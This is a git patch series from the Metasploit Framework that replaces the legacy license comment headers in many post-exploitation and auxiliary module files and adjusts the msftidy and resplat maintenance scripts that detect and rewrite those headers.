a/modules/post/windows/gather/reverse_lookup.rb b/modules/post/windows/gather/reverse_lookup.rb index b2be241a59..84b636fa0b 100644 --- a/modules/post/windows/gather/reverse_lookup.rb +++ b/modules/post/windows/gather/reverse_lookup.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 3c024df5f3..07bb3c6fbd 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/smart_hashdump.rb b/modules/post/windows/gather/smart_hashdump.rb index 15c417c1e8..36f1da8b18 100644 --- a/modules/post/windows/gather/smart_hashdump.rb +++ b/modules/post/windows/gather/smart_hashdump.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/tcpnetstat.rb b/modules/post/windows/gather/tcpnetstat.rb index 456c4e0762..6a2e38cadd 100644 --- a/modules/post/windows/gather/tcpnetstat.rb +++ b/modules/post/windows/gather/tcpnetstat.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/usb_history.rb b/modules/post/windows/gather/usb_history.rb index 3c941e67f0..503229b5b6 100644 --- a/modules/post/windows/gather/usb_history.rb +++ b/modules/post/windows/gather/usb_history.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 14f101063a..1663b8d512 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/wmic_command.rb b/modules/post/windows/gather/wmic_command.rb index a31bf84df2..70822d73ff 100644 --- a/modules/post/windows/gather/wmic_command.rb +++ b/modules/post/windows/gather/wmic_command.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/gather/word_unc_injector.rb b/modules/post/windows/gather/word_unc_injector.rb index c8e3c882eb..3834de8770 100644 --- a/modules/post/windows/gather/word_unc_injector.rb +++ b/modules/post/windows/gather/word_unc_injector.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## diff --git a/modules/post/windows/manage/add_user_domain.rb b/modules/post/windows/manage/add_user_domain.rb index 1c7de7c134..64a73f3ba4 100644 --- a/modules/post/windows/manage/add_user_domain.rb +++ b/modules/post/windows/manage/add_user_domain.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index a395785b23..ba9198047b 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/clone_proxy_settings.rb b/modules/post/windows/manage/clone_proxy_settings.rb index 4f17852d5b..a45cffe69f 100644 --- a/modules/post/windows/manage/clone_proxy_settings.rb +++ b/modules/post/windows/manage/clone_proxy_settings.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/delete_user.rb b/modules/post/windows/manage/delete_user.rb index 27133ed846..c2b5e8444a 100644 --- a/modules/post/windows/manage/delete_user.rb +++ b/modules/post/windows/manage/delete_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/download_exec.rb b/modules/post/windows/manage/download_exec.rb index 0e19072144..6dd6668288 100644 --- a/modules/post/windows/manage/download_exec.rb +++ b/modules/post/windows/manage/download_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/enable_rdp.rb b/modules/post/windows/manage/enable_rdp.rb index 8c8015b03f..c701131685 100644 --- a/modules/post/windows/manage/enable_rdp.rb +++ b/modules/post/windows/manage/enable_rdp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/inject_ca.rb b/modules/post/windows/manage/inject_ca.rb index 09a2a02e3d..de52e26ef1 100644 --- a/modules/post/windows/manage/inject_ca.rb +++ b/modules/post/windows/manage/inject_ca.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/inject_host.rb b/modules/post/windows/manage/inject_host.rb index ab98a0a003..d60a605c58 100644 --- a/modules/post/windows/manage/inject_host.rb +++ b/modules/post/windows/manage/inject_host.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 070192f213..25e5350aa6 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/mssql_local_auth_bypass.rb b/modules/post/windows/manage/mssql_local_auth_bypass.rb index b8ea095cd4..36ff3af1fd 100644 --- a/modules/post/windows/manage/mssql_local_auth_bypass.rb +++ b/modules/post/windows/manage/mssql_local_auth_bypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 5becb6027a..aec1899c9b 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/nbd_server.rb b/modules/post/windows/manage/nbd_server.rb index bff067befe..0fbcfec22d 100644 --- a/modules/post/windows/manage/nbd_server.rb +++ b/modules/post/windows/manage/nbd_server.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 8985a7465c..ffb81adea8 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/persistence.rb b/modules/post/windows/manage/persistence.rb index 60b3f14f6e..2e228ccf4f 100644 --- a/modules/post/windows/manage/persistence.rb +++ b/modules/post/windows/manage/persistence.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index c0987aaf72..c6715cf704 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/powershell/exec_powershell.rb b/modules/post/windows/manage/powershell/exec_powershell.rb index 061f898ce6..8d88757926 100644 --- a/modules/post/windows/manage/powershell/exec_powershell.rb +++ b/modules/post/windows/manage/powershell/exec_powershell.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## ## diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 6389429fc9..66f3c5ef8e 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/post/windows/manage/pxexploit.rb b/modules/post/windows/manage/pxexploit.rb index 2db17d8113..a9c518c5f9 100644 --- a/modules/post/windows/manage/pxexploit.rb +++ b/modules/post/windows/manage/pxexploit.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/reflective_dll_inject.rb b/modules/post/windows/manage/reflective_dll_inject.rb index 1e63779725..7e042325aa 100644 --- a/modules/post/windows/manage/reflective_dll_inject.rb +++ b/modules/post/windows/manage/reflective_dll_inject.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/remove_ca.rb b/modules/post/windows/manage/remove_ca.rb index 31dab11891..8e7eabe9e9 100644 --- a/modules/post/windows/manage/remove_ca.rb +++ b/modules/post/windows/manage/remove_ca.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/remove_host.rb b/modules/post/windows/manage/remove_host.rb index d869af2e3f..353a272263 100644 --- a/modules/post/windows/manage/remove_host.rb +++ b/modules/post/windows/manage/remove_host.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index dc9acd344f..477c83f604 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 68bfc5039e..c5a9ca2e61 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index 0ccb9aac5e..12cb788f2b 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index 93b6857028..35056fcb6b 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index c0dff62209..b2cdcb91b4 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index 7b9a5c2134..76ff52defe 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index a1e5576719..a3fe7e1cd1 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index 6693afd61c..0bd7c2535b 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 9f556f9526..0aa7f27799 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb index 789f04e1d5..88d97b4455 100644 --- a/modules/post/windows/manage/webcam.rb +++ b/modules/post/windows/manage/webcam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb index 0efdeb01bb..9c4d299c75 100644 --- a/modules/post/windows/recon/computer_browser_discovery.rb +++ b/modules/post/windows/recon/computer_browser_discovery.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/recon/resolve_hostname.rb b/modules/post/windows/recon/resolve_hostname.rb index 75b1851c48..0eca43f92d 100644 --- a/modules/post/windows/recon/resolve_hostname.rb +++ b/modules/post/windows/recon/resolve_hostname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/recon/resolve_ip.rb b/modules/post/windows/recon/resolve_ip.rb index 92b66ac027..94f23d5b62 100644 --- a/modules/post/windows/recon/resolve_ip.rb +++ b/modules/post/windows/recon/resolve_ip.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/wlan/wlan_bss_list.rb b/modules/post/windows/wlan/wlan_bss_list.rb index 865e78c5c4..10d19ff9e2 100644 --- a/modules/post/windows/wlan/wlan_bss_list.rb +++ b/modules/post/windows/wlan/wlan_bss_list.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/wlan/wlan_current_connection.rb b/modules/post/windows/wlan/wlan_current_connection.rb index 3365d1e03b..8d59f8cf7b 100644 --- a/modules/post/windows/wlan/wlan_current_connection.rb +++ b/modules/post/windows/wlan/wlan_current_connection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 52e3852933..238cd54cb6 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index 16887c5225..d53469961c 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From 81d145ad8138ef4f51a94f0a0561827c8f81493e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 13:53:38 -0500 Subject: [PATCH 185/409] At least offer a solution with msftidy I would go ahead and fix it for the user, but due to #8497, I can't yet. --- tools/msftidy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 5d09403dfe..e04a71921f 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -131,7 +131,7 @@ class Msftidy def check_comment_splat if @source =~ /^# This file is part of the Metasploit Framework and may be subject to/ - warn("Module contains old license comment.") + warn("Module contains old license comment, use tools/dev/resplat.rb .") end end From 01fbbf16de9d4607672c7d4c62494d2579dc866e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:06:53 -0500 Subject: [PATCH 186/409] Add another line to the resplat regex. --- tools/dev/resplat.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/dev/resplat.rb b/tools/dev/resplat.rb index a74cc8c5c8..39742879d3 100755 --- a/tools/dev/resplat.rb +++ b/tools/dev/resplat.rb @@ -32,7 +32,7 @@ end def resplat(line) if line =~ /This file is part of the Metasploit Framework/ return "# This module requires Metasploit: http//metasploit.com/download\n" - elsif line =~ /redistribution and commercial/ + elsif line =~ /# redistribution and commercial restrictions\./ return "# Current source: https://github.com/rapid7/metasploit-framework\n" else return nil @@ -49,7 +49,7 @@ Find.find(dir) do |infile| fixed = [] data.each_line do |line| case line - when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*# http:\/\/metasploit.com\// + when /^[\x20\x09]*# This file is part of the Metasploit Framework and may be subject to/, /^[\x20\x09]*# redistribution and commercial restrictions\. Please see the Metasploit/, /^[\x20\x09]*# web site for more information on licensing and terms of use\./, /^[\x20\x09]*# http:\/\/metasploit.com\//, /# Framework web site for more information on licensing and terms of use./ new_line = resplat(line) fixed << new_line if new_line else From c83262f4bde3793bb35d33ddde76463628efb9b7 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 15 Oct 2013 14:07:48 -0500 Subject: [PATCH 187/409] Resplat another common boilerplate. --- modules/auxiliary/admin/hp/hp_data_protector_cmd.rb | 1 - modules/auxiliary/admin/http/iis_auth_bypass.rb | 1 - modules/auxiliary/admin/http/scrutinizer_add_user.rb | 1 - modules/auxiliary/admin/misc/wol.rb | 1 - modules/auxiliary/docx/word_unc_injector.rb | 1 - modules/auxiliary/dos/sap/sap_soap_rfc_eps_delete_file.rb | 1 - modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb | 1 - modules/auxiliary/gather/coldfusion_pwd_props.rb | 1 - modules/auxiliary/gather/eaton_nsm_creds.rb | 1 - modules/auxiliary/gather/external_ip.rb | 1 - modules/auxiliary/gather/hp_snac_domain_creds.rb | 1 - modules/auxiliary/scanner/couchdb/couchdb_login.rb | 1 - modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb | 1 - .../auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb | 1 - modules/auxiliary/scanner/http/clansphere_traversal.rb | 1 - modules/auxiliary/scanner/http/dolibarr_login.rb | 1 - .../scanner/http/hp_sitescope_getfileinternal_fileaccess.rb | 1 - .../scanner/http/hp_sitescope_getsitescopeconfiguration.rb | 1 - .../scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb | 1 - modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb | 1 - modules/auxiliary/scanner/http/http_hsts.rb | 1 - .../scanner/http/manageengine_deviceexpert_traversal.rb | 1 - .../scanner/http/manageengine_securitymanager_traversal.rb | 1 - modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb | 1 - modules/auxiliary/scanner/http/netdecision_traversal.rb | 1 - .../scanner/http/novell_file_reporter_fsfui_fileaccess.rb | 1 - .../scanner/http/novell_file_reporter_srs_fileaccess.rb | 1 - modules/auxiliary/scanner/http/rails_json_yaml_scanner.rb | 1 - modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 1 - modules/auxiliary/scanner/http/s40_traversal.rb | 1 - modules/auxiliary/scanner/http/simple_webserver_traversal.rb | 1 - modules/auxiliary/scanner/http/sockso_traversal.rb | 1 - modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb | 1 - modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb | 1 - modules/auxiliary/scanner/http/vcms_login.rb | 1 - .../auxiliary/scanner/http/vmware_update_manager_traversal.rb | 1 - modules/auxiliary/scanner/http/webpagetest_traversal.rb | 1 - modules/auxiliary/scanner/misc/cctv_dvr_login.rb | 1 - modules/auxiliary/scanner/rdp/ms12_020_check.rb | 1 - .../auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb | 1 - modules/auxiliary/scanner/sap/sap_icf_public_info.rb | 1 - modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb | 1 - modules/auxiliary/scanner/sap/sap_router_info_request.rb | 1 - modules/auxiliary/scanner/sap/sap_smb_relay.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb | 1 - .../sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb | 1 - .../scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb | 1 - .../scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb | 1 - .../scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb | 1 - modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb | 1 - 